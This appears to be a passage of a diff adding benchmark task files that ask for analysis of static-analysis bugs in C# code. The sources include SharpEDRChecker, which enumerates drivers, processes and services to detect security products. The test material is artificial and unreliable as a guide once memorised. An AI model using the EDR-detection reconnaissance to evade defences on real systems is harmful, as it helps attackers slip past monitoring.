+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0933/instruction.md b/inferredbugs-0933/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..877248f87c56978792e5905a957a37837d3012c1
--- /dev/null
+++ b/inferredbugs-0933/instruction.md
@@ -0,0 +1,145 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SharpEDRChecker
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Management;
+using System.Diagnostics;
+using System.ServiceProcess;
+
+namespace SharpEDRChecker
+{
+    internal class DriverChecker
+    {
+        internal static void CheckDrivers()
+        {
+            /*Console.WriteLine("[!] Checking Drivers...");
+            foreach (ServiceController driver in ServiceController.GetDevices())
+            {
+                Console.WriteLine($"{driver.DisplayName} {driver.ServiceName} {driver.Status} {driver.ServiceType}");
+            }*/
+            
+            //TESTING METHOD
+            /*SelectQuery query = new SelectQuery("Win32_BaseService");
+            ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
+            foreach (ManagementObject ManageObject in searcher.Get())
+            {
+                Console.WriteLine(ManageObject.GetPropertyValue("Name"));
+                Console.WriteLine(ManageObject.GetPropertyValue("PathName"));
+                Console.WriteLine(ManageObject.GetPropertyValue("Description"));
+                Console.WriteLine(ManageObject.GetPropertyValue("Caption"));
+                Console.WriteLine(ManageObject.GetPropertyValue("DisplayName"));
+                Console.WriteLine(ManageObject.GetPropertyValue("SystemName"));
+                Console.WriteLine(ManageObject.GetPropertyValue("StartName"));
+                Console.WriteLine(ManageObject.GetPropertyValue("CreationClassName"));
+                Console.WriteLine(ManageObject.GetPropertyValue("Started"));
+                Console.WriteLine(ManageObject.GetPropertyValue("TagId"));
+                Console.WriteLine(ManageObject.GetPropertyValue("SystemCreationClassNAme"));
+            }*/
+
+
+            
+            //WORKING WMI FOR SYSTEMDRIVERS BUT NOT MINI FILTERS
+            var driverList = new ManagementObjectSearcher("Select * From Win32_Service").Get();
+            bool foundSuspiciousDriver = false;
+            foreach (var driver in driverList)
+            {
+                foundSuspiciousDriver = CheckDriver(driver) || foundSuspiciousDriver;
+            }
+            if (!foundSuspiciousDriver)
+            {
+                Console.WriteLine("[+] No suspicious drivers found\n");
+            }
+        }
+
+        private static bool CheckDriver(ManagementBaseObject driver)
+        {
+            bool foundSuspiciousDriver = false;
+            var driverName = driver["Name"];
+            var driverDisplayName = driver["DisplayName"];
+            var driverDescription = driver["Description"];
+            var driverCaption = driver["Caption"];
+            var driverPathName = driver["PathName"];
+            var driverState = driver["State"];
+            var driverStartName = driver["StartName"];
+
+            var allattribs = $"{driverName} - " +
+                $"{driverDisplayName} - " +
+                $"{driverDescription} - " +
+                $"{driverCaption} - " +
+                $"{driverPathName}";
+
+            foreach (var edrstring in EDRData.edrlist)
+            {
+                if (allattribs.ToLower().Contains(edrstring.ToLower()))
+                {
+                    Console.WriteLine($"[-] Suspicious driver found:" +
+                        $"\n\tName: {driverName}" +
+                        $"\n\tDisplayName: {driverDisplayName}" +
+                        $"\n\tDescription: {driverDescription}" +
+                        $"\n\tCaption: {driverCaption}" +
+                        $"\n\tBinary: {driverPathName}" +
+                        $"\n\tStatus: {driverState}" +
+                        $"\n\tStartName: {driverStartName}" +
+                        $"\n[!] Matched on: {edrstring}\n");
+                    foundSuspiciousDriver = true;
+                }
+            }
+            return foundSuspiciousDriver;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Management.ManagementObjectSearcher::.ctor() at Line 39) of type System.Management.ManagementObjectSearcher in method "Void DriverChecker.CheckDrivers()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void DriverChecker.CheckDrivers()
+
+### File:
+SharpEDRChecker/DriverChecker.cs
+
+### Key:
+DriverChecker.cs|CheckDrivers|DOTNET_RESOURCE_LEAK
+
+### Hash:
+5e139280b89c7382ed40021014f6e5a4
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0934/instruction.md b/inferredbugs-0934/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b0d26b012f6b538eb822941cdd644f2cd7d0580a
--- /dev/null
+++ b/inferredbugs-0934/instruction.md
@@ -0,0 +1,168 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SharpEDRChecker
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Management;
+
+namespace SharpEDRChecker
+{
+    internal class ProcessChecker
+    {
+        internal static string CheckProcesses()
+        {
+            Console.WriteLine("[!] Checking processes...");
+            var processList = new ManagementObjectSearcher("Select * From Win32_Process").Get();
+            string summary = "";
+            foreach (var process in processList)
+            {
+                summary += CheckProcess(process);
+            }
+            if (string.IsNullOrEmpty(summary))
+            {
+                Console.WriteLine("[+] No suspicious processes found\n");
+                return "\n[+] No suspicious processes found\n";
+            }
+            return $"\nProcess Summary: \n{summary}\n";
+        }
+
+        private static string CheckProcess(ManagementBaseObject process)
+        {
+            var processName = process["Name"];
+            var processPath = process["ExecutablePath"];
+            var processDescription = process["Description"];
+            var processCaption = process["Caption"];
+            var processCmdLine = process["CommandLine"];
+            var processPID = process["ProcessId"];
+            var processParent = process["ParentProcessId"];
+            var metadata = "";
+
+            var allattribs = $"{processName} - " +
+                $"{processPath} - " +
+                $"{processDescription} - " +
+                $"{processCaption} - " +
+                $"{processCmdLine}";
+
+            if (processPath != null)
+            {
+                metadata = $"{FileChecker.GetFileInfo(processPath.ToString())}";
+                allattribs = $"{allattribs} - {metadata}";
+            }
+
+            var matches = new List<string>();
+            foreach (var edrstring in EDRData.edrlist)
+            {
+                if (allattribs.ToLower().Contains(edrstring.ToLower()))
+                {
+                    matches.Add(edrstring);
+                }
+            }
+            if (matches.Count > 0)
+            {
+                Console.WriteLine($"[-] Suspicious process found:" +
+                            $"\n\tName: {processName}" +
+                            $"\n\tDescription: {processDescription}" +
+                            $"\n\tCaption: {processCaption}" +
+                            $"\n\tBinary: {processPath}" +
+                            $"\n\tProcess ID: {processPID}" +
+                            $"\n\tParent Process: {processParent}" +
+                            $"\n\tProcess CmdLine: {processCmdLine}" +
+                            $"\n\tFile Metadata: {metadata}" +
+                            $"\n[!] Matched on: {string.Join(", ", matches)}\n");
+                return $"\t{processName} : {string.Join(", ", matches)}\n";
+            }
+            return "";
+        }
+
+        internal static string CheckCurrentProcessModules()
+        {
+            Console.WriteLine("[!] Checking modules loaded in your current process...");
+            Process myproc = Process.GetCurrentProcess();
+            var summary = "";
+            foreach (ProcessModule module in myproc.Modules)
+            {
+                var allattribs = $"{module.FileName} - {FileChecker.GetFileInfo(module.FileName)}";
+                var metadata = $"{FileChecker.GetFileInfo(module.FileName)}";
+
+                var matches = new List<string>();
+                foreach (var edrstring in EDRData.edrlist)
+                {
+                    if (allattribs.ToString().ToLower().Contains(edrstring.ToLower()))
+                    {
+                        matches.Add(edrstring);
+                    }
+                }
+                if (matches.Count > 0)
+                {
+                    Console.WriteLine("[-] Suspicious modload found in your process:" +
+                                $"\n\tSuspicious Module: {module.FileName}" +
+                                $"\n\tFile Metadata: {metadata}" +
+                                $"\n[!] Matched on: {string.Join(", ", matches)}\n");
+                    summary += $"\t{module.FileName} : {string.Join(", ", matches)}\n";
+                }
+            }
+            if (string.IsNullOrEmpty(summary))
+            {
+                Console.WriteLine("[+] No suspicious modules found in your process\n");
+                return "\n[+] No suspicious modules found in your process\n";
+            }
+            return $"\nModload Summary: \n{summary}\n";
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Management.ManagementObjectSearcher::.ctor() at Line 13) of type System.Management.ManagementObjectSearcher in method "String ProcessChecker.CheckProcesses()".
+
+### Severity:
+ERROR
+
+### Procedure:
+String ProcessChecker.CheckProcesses()
+
+### File:
+SharpEDRChecker/ProcessChecker.cs
+
+### Key:
+ProcessChecker.cs|CheckProcesses|DOTNET_RESOURCE_LEAK
+
+### Hash:
+e4f82e0403e7c842c940cabd42e1669d
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0935/instruction.md b/inferredbugs-0935/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b79b6a8b829599e75296f4aad933274a37a73c82
--- /dev/null
+++ b/inferredbugs-0935/instruction.md
@@ -0,0 +1,132 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SharpEDRChecker
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Management;
+
+namespace SharpEDRChecker
+{
+    internal class ServiceChecker
+    {
+        internal static void CheckServices()
+        {
+            Console.WriteLine("[!] Checking Services...");
+            var serviceList = new ManagementObjectSearcher("Select * From Win32_Service").Get();
+            bool foundSuspiciousService = false;
+            foreach (var service in serviceList)
+            {
+                foundSuspiciousService = CheckService(service) || foundSuspiciousService;
+            }
+            if (!foundSuspiciousService)
+            {
+                Console.WriteLine("[+] No suspicious services found\n");
+            }
+        }
+
+        private static bool CheckService(ManagementBaseObject service)
+        {
+            var serviceName = service["Name"];
+            var serviceDisplayName = service["DisplayName"];
+            var serviceDescription = service["Description"];
+            var serviceCaption = service["Caption"];
+            var servicePathName = service["PathName"];
+            var serviceState = service["State"];
+            var servicePID = service["ProcessId"];
+            var metadata = "";
+
+            var allattribs = $"{serviceName} - " +
+                $"{serviceDisplayName} - " +
+                $"{serviceDescription} - " +
+                $"{serviceCaption} - " +
+                $"{servicePathName}";
+
+            if (servicePathName != null)
+            {
+                var indexOfExe = servicePathName.ToString().ToLower().IndexOf(".exe");
+                var filePath = servicePathName.ToString().Substring(0, indexOfExe + ".exe".Length).Trim('"');
+                metadata = $"{FileChecker.GetFileInfo(filePath)}";
+                allattribs = $"{allattribs} - {metadata}";
+            }
+
+            var matches = new List<string>();
+            foreach (var edrstring in EDRData.edrlist)
+            {
+                if (allattribs.ToLower().Contains(edrstring.ToLower()))
+                {
+                    matches.Add(edrstring);
+                }
+            }
+            if (matches.Count > 0)
+            {
+                Console.WriteLine($"[-] Suspicious service found:" +
+                       $"\n\tName: {serviceName}" +
+                       $"\n\tDisplayName: {serviceDisplayName}" +
+                       $"\n\tDescription: {serviceDescription}" +
+                       $"\n\tCaption: {serviceCaption}" +
+                       $"\n\tBinary: {servicePathName}" +
+                       $"\n\tStatus: {serviceState}" +
+                       $"\n\tProcess ID: {servicePID}" +
+                       $"\n\tFile Metadata: {metadata}" +
+                       $"\n[!] Matched on: {string.Join(", ", matches)}\n");
+                return true;
+            }
+            return false;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Management.ManagementObjectSearcher::.ctor() at Line 12) of type System.Management.ManagementObjectSearcher in method "Void ServiceChecker.CheckServices()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ServiceChecker.CheckServices()
+
+### File:
+SharpEDRChecker/ServiceChecker.cs
+
+### Key:
+ServiceChecker.cs|CheckServices|DOTNET_RESOURCE_LEAK
+
+### Hash:
+aac373dc8e4f4468451bc3534ff58ee5
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0951/instruction.md b/inferredbugs-0951/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..eeda1c5cae15b34e0adaea8cf2831713423250a2
--- /dev/null
+++ b/inferredbugs-0951/instruction.md
@@ -0,0 +1,185 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** OpenAI-API-dotnet
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NUnit.Framework;
+using System;
+using System.IO;
+
+namespace OpenAI_Tests
+{
+	public class AuthTests
+	{
+		[SetUp]
+		public void Setup()
+		{
+			File.WriteAllText(".openai", "OPENAI_KEY=pk-test12" + Environment.NewLine + "OPENAI_SECRET_KEY: sk-test34");
+			Environment.SetEnvironmentVariable("OPENAI_KEY", "pk-test-env");
+			Environment.SetEnvironmentVariable("OPENAI_SECRET_KEY", "sk-test-env");
+		}
+
+		[Test]
+		public void GetAuthFromEnv()
+		{
+			var auth = OpenAI_API.APIAuthentication.LoadFromEnv();
+			Assert.IsNotNull(auth);
+			Assert.IsNotNull(auth.APIKey);
+			Assert.IsNotEmpty(auth.APIKey);
+			Assert.AreEqual("pk-test-env", auth.APIKey);
+
+			Assert.IsNotNull(auth.Secretkey);
+			Assert.IsNotEmpty(auth.Secretkey);
+			Assert.AreEqual("sk-test-env", auth.Secretkey);
+
+		}
+
+		[Test]
+		public void GetAuthFromFile()
+		{
+			var auth = OpenAI_API.APIAuthentication.LoadFromPath();
+			Assert.IsNotNull(auth);
+			Assert.IsNotNull(auth.APIKey);
+			Assert.AreEqual("pk-test12", auth.APIKey);
+			Assert.IsNotNull(auth.Secretkey);
+			Assert.AreEqual("sk-test34", auth.Secretkey);
+		}
+
+
+		[Test]
+		public void GetAuthFromNonExistantFile()
+		{
+			var auth = OpenAI_API.APIAuthentication.LoadFromPath(filename: "bad.config");
+			Assert.IsNull(auth);
+		}
+
+
+		[Test]
+		public void GetDefault()
+		{
+			var auth = OpenAI_API.APIAuthentication.Default;
+			var envAuth = OpenAI_API.APIAuthentication.LoadFromEnv();
+			Assert.IsNotNull(auth);
+			Assert.IsNotNull(auth.APIKey);
+			Assert.AreEqual(envAuth.APIKey, auth.APIKey);
+			Assert.IsNotNull(auth.Secretkey);
+			Assert.AreEqual(envAuth.Secretkey, auth.Secretkey);
+		}
+
+
+
+		[Test]
+		public void testHelper()
+		{
+			OpenAI_API.APIAuthentication defaultAuth = OpenAI_API.APIAuthentication.Default;
+			OpenAI_API.APIAuthentication manualAuth = new OpenAI_API.APIAuthentication("pk-testAA", "sk-testBB");
+			OpenAI_API.OpenAIAPI api = new OpenAI_API.OpenAIAPI();
+			OpenAI_API.APIAuthentication shouldBeDefaultAuth = api.Auth;
+			Assert.IsNotNull(shouldBeDefaultAuth);
+			Assert.IsNotNull(shouldBeDefaultAuth.APIKey);
+			Assert.AreEqual(defaultAuth.APIKey, shouldBeDefaultAuth.APIKey);
+			Assert.IsNotNull(shouldBeDefaultAuth.Secretkey);
+			Assert.AreEqual(defaultAuth.Secretkey, shouldBeDefaultAuth.Secretkey);
+
+			OpenAI_API.APIAuthentication.Default = new OpenAI_API.APIAuthentication("pk-testAA", "sk-testBB");
+			api = new OpenAI_API.OpenAIAPI();
+			OpenAI_API.APIAuthentication shouldBeManualAuth = api.Auth;
+			Assert.IsNotNull(shouldBeManualAuth);
+			Assert.IsNotNull(shouldBeManualAuth.APIKey);
+			Assert.AreEqual(manualAuth.APIKey, shouldBeManualAuth.APIKey);
+			Assert.IsNotNull(shouldBeManualAuth.Secretkey);
+			Assert.AreEqual(manualAuth.Secretkey, shouldBeManualAuth.Secretkey);
+		}
+
+		[Test]
+		public void GetKey()
+		{
+			var auth = new OpenAI_API.APIAuthentication("pk-testAA", "sk-testBB");
+			Assert.IsNotNull(auth.GetKey());
+			Assert.AreEqual("sk-testBB", auth.GetKey());
+
+			auth = new OpenAI_API.APIAuthentication("pk-testAA", null);
+			Assert.IsNotNull(auth.GetKey());
+			Assert.AreEqual("pk-testAA", auth.GetKey());
+		}
+
+		[Test]
+		public void ParseKey()
+		{
+			var auth = new OpenAI_API.APIAuthentication("pk-testAA");
+			Assert.IsNotNull(auth.APIKey);
+			Assert.IsNull(auth.Secretkey);
+			Assert.AreEqual("pk-testAA", auth.APIKey);
+			auth = "pk-testCC";
+			Assert.IsNotNull(auth.APIKey);
+			Assert.IsNull(auth.Secretkey);
+			Assert.AreEqual("pk-testCC", auth.APIKey);
+
+			auth = new OpenAI_API.APIAuthentication("sk-testBB");
+			Assert.IsNotNull(auth.Secretkey);
+			Assert.IsNull(auth.APIKey);
+			Assert.AreEqual("sk-testBB", auth.Secretkey);
+			auth = "sk-testDD";
+			Assert.IsNotNull(auth.Secretkey);
+			Assert.IsNull(auth.APIKey);
+			Assert.AreEqual("sk-testDD", auth.Secretkey);
+		}
+
+	}
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `auth` last assigned on line 20 could be null and is dereferenced at line 22, column 4.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void AuthTests.GetAuthFromEnv()
+
+### File:
+OpenAI_Tests/AuthTests.cs
+
+### Key:
+AuthTests.cs|GetAuthFromEnv|NULL_DEREFERENCE
+
+### Node Key:
+a35c6d97ccef7486c04c7fb208054b5b
+
+### Hash:
+ba85998733a528b61cdde5bfba016cdb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0956/instruction.md b/inferredbugs-0956/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..90fc5edcbe0d7628d7f994b3b2f9da6de5d5242f
--- /dev/null
+++ b/inferredbugs-0956/instruction.md
@@ -0,0 +1,252 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SampSharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using RiverShell.Controllers;
+using SampSharp.GameMode;
+using SampSharp.GameMode.Controllers;
+using SampSharp.GameMode.Definitions;
+using SampSharp.GameMode.Natives;
+using SampSharp.GameMode.World;
+
+namespace RiverShell
+{
+    public class GameMode : BaseMode
+    {
+        public static TeamInfo BlueTeam;
+        public static TeamInfo GreenTeam;
+        public static bool ObjectiveReached;
+
+        public override bool OnGameModeInit()
+        {
+            BlueTeam = new TeamInfo();
+            GreenTeam = new TeamInfo();
+
+            Native.SetGameModeText("Rivershell");
+
+            Native.ShowPlayerMarkers(0);
+            Native.ShowNameTags(true);
+            Native.SetWorldTime(17);
+            Native.SetWeather(11);
+            Native.UsePlayerPedAnims();
+            Native.EnableVehicleFriendlyFire();
+            Native.SetNameTagDrawDistance(110.0f);
+            Native.DisableInteriorEnterExits();
+
+            // Green classes
+            Native.AddPlayerClass(162, new Vector(2117.0129, -224.4389, 8.15), 0, (Weapon)31, 100, (Weapon)29, 200, (Weapon)34, 10);
+            Native.AddPlayerClass(157, new Vector(2148.6606, -224.3336, 8.15), 347.1396f, (Weapon)31, 100, (Weapon)29, 200, (Weapon)34, 10);
+
+            // Blue classes
+            Native.AddPlayerClass(154, new Vector(2352.9873, 580.3051, 7.7813), 178.1424f, (Weapon)31, 100, (Weapon)29, 200, (Weapon)34, 10);
+            Native.AddPlayerClass(138, new Vector(2281.1504, 567.6248, 7.7813), 163.7289f, (Weapon)31, 100, (Weapon)29, 200, (Weapon)34, 10);
+
+            // Objective vehicles
+            BlueTeam.Vehicle = Vehicle.Create(453, new Vector(2184.7156, -188.5401, -0.0239), 0.0000f, 114, 1, 100); // gr reefer
+            GreenTeam.Vehicle = Vehicle.Create(453, new Vector(2380.0542, 535.2582, -0.0272), 178.4999f, 79, 7, 100);// bl reefer
+
+            // Green Dhingys
+            Vehicle.Create(473, new Vector(2096.0833, -168.7771, 0.3528), 4.5000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2103.2510, -168.7598, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2099.4966, -168.8216, 0.3528), 2.8200f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2107.1143, -168.7798, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2111.0674, -168.7609, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2114.8933, -168.7898, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2167.2217, -169.0570, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2170.4294, -168.9724, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2173.7952, -168.9217, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2177.0386, -168.9767, 0.3528), 3.1800f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2161.5786, -191.9538, 0.3528), 89.1000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2161.6394, -187.2925, 0.3528), 89.1000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2161.7610, -183.0225, 0.3528), 89.1000f, 114, 1, 100);
+            Vehicle.Create(473, new Vector(2162.0283, -178.5106, 0.3528), 89.1000f, 114, 1, 100);
+
+            // Green Mavericks
+            Vehicle.Create(487, new Vector(2088.7905, -227.9593, 8.3662), 0.0000f, 114, 1, 100);
+            Vehicle.Create(487, new Vector(2204.5991, -225.3703, 8.2400), 0.0000f, 114, 1, 100);
+
+            // Blue Dhingys
+            Vehicle.Create(473, new Vector(2370.3198, 518.3151, 0.1240), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2362.6484, 518.3978, 0.0598), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2358.6550, 518.2167, 0.2730), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2366.5544, 518.2680, 0.1080), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2354.6321, 518.1960, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2350.7449, 518.1929, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2298.8977, 518.4470, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2295.6118, 518.3963, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2292.3237, 518.4249, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2289.0901, 518.4363, 0.3597), 180.3600f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.8232, 539.7859, 0.3597), 270.5998f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.6936, 535.0454, 0.3597), 270.5998f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.8245, 530.3308, 0.3597), 270.5998f, 79, 7, 100);
+            Vehicle.Create(473, new Vector(2304.8142, 525.7471, 0.3597), 270.5998f, 79, 7, 100);
+
+            // Blue Mavericks
+            Vehicle.Create(487, new Vector(2260.2637, 578.5220, 8.1223), 182.3401f, 79, 7, 100);
+            Vehicle.Create(487, new Vector(2379.9792, 580.0323, 8.0178), 177.9601f, 79, 7, 100);
+
+
+            // Green Base Section
+            new GlobalObject(9090, new Vector(2148.64, -222.88, -20.60), new Vector(0.00, 0.00, 179.70));
+            // Green resupply hut
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+
+            // Blue Base Section
+            new GlobalObject(9090, new Vector(2317.09, 572.27, -20.97), new Vector(0.00, 0.00, 0.00));
+            // Blue resupply hut
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+
+            // General mapping
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+            new GlobalObject(19300, new Vector(2137.33, -237.17, 46.61), new Vector(0.00, 0.00, 180.00));
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+            new GlobalObject(19300, new Vector(2325.41, 587.93, 47.37), new Vector(0.00, 0.00, 180.00));
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+            new GlobalObject(12991, new Vector(2140.83, -235.13, 7.13), new Vector(0.00, 0.00, -89.94));
+            new GlobalObject(12991, new Vector(2318.73, 590.96, 6.75), new Vector(0.00, 0.00, 89.88));
+            new GlobalObject(18228, new Vector(1887.93, -59.78, -2.14), new Vector(0.00, 0.00, 20.34));
+            new GlobalObject(17031, new Vector(1990.19, 541.37, -22.32), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(18227, new Vector(2000.82, 494.15, -7.53), new Vector(11.70, -25.74, 154.38));
+            new GlobalObject(17031, new Vector(1992.35, 539.80, -2.97), new Vector(9.12, 30.66, 0.00));
+            new GlobalObject(17031, new Vector(1991.88, 483.77, -0.66), new Vector(-2.94, -5.22, 12.78));
+            new GlobalObject(17029, new Vector(2070.57, -235.87, -6.05), new Vector(-7.20, 4.08, 114.30));
+            new GlobalObject(17029, new Vector(2056.50, -228.77, -19.67), new Vector(14.16, 19.68, 106.56));
+            new GlobalObject(17029, new Vector(2074.00, -205.33, -18.60), new Vector(16.02, 60.60, 118.86));
+            new GlobalObject(17029, new Vector(2230.39, -242.59, -11.41), new Vector(5.94, 7.56, 471.24));
+            new GlobalObject(17029, new Vector(2252.53, -213.17, -20.81), new Vector(18.90, -6.30, -202.38));
+            new GlobalObject(17029, new Vector(2233.04, -234.08, -19.00), new Vector(21.84, -8.88, -252.06));
+            new GlobalObject(17027, new Vector(2235.05, -201.49, -11.90), new Vector(-11.94, -4.08, 136.32));
+            new GlobalObject(17029, new Vector(2226.11, -237.07, -2.45), new Vector(8.46, 2.10, 471.24));
+            new GlobalObject(4368, new Vector(2433.79, 446.26, 4.67), new Vector(-8.04, -9.30, 61.02));
+            new GlobalObject(4368, new Vector(2031.23, 489.92, -13.20), new Vector(-8.04, -9.30, -108.18));
+            new GlobalObject(17031, new Vector(2458.36, 551.10, -6.95), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(17031, new Vector(2465.37, 511.35, -7.70), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(17031, new Vector(2474.80, 457.71, -5.17), new Vector(0.00, 0.00, 172.74));
+            new GlobalObject(17031, new Vector(2466.03, 426.28, -5.17), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(791, new Vector(2310.45, -229.38, 7.41), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(791, new Vector(2294.00, -180.15, 7.41), new Vector(0.00, 0.00, 60.90));
+            new GlobalObject(791, new Vector(2017.50, -305.30, 7.29), new Vector(0.00, 0.00, 60.90));
+            new GlobalObject(791, new Vector(2106.45, -279.86, 20.05), new Vector(0.00, 0.00, 60.90));
+            new GlobalObject(706, new Vector(2159.13, -263.71, 19.22), new Vector(356.86, 0.00, -17.18));
+            new GlobalObject(706, new Vector(2055.75, -291.53, 13.98), new Vector(356.86, 0.00, -66.50));
+            new GlobalObject(791, new Vector(1932.65, -315.88, 6.77), new Vector(0.00, 0.00, -35.76));
+            new GlobalObject(790, new Vector(2429.40, 575.79, 10.42), new Vector(0.00, 0.00, 3.14));
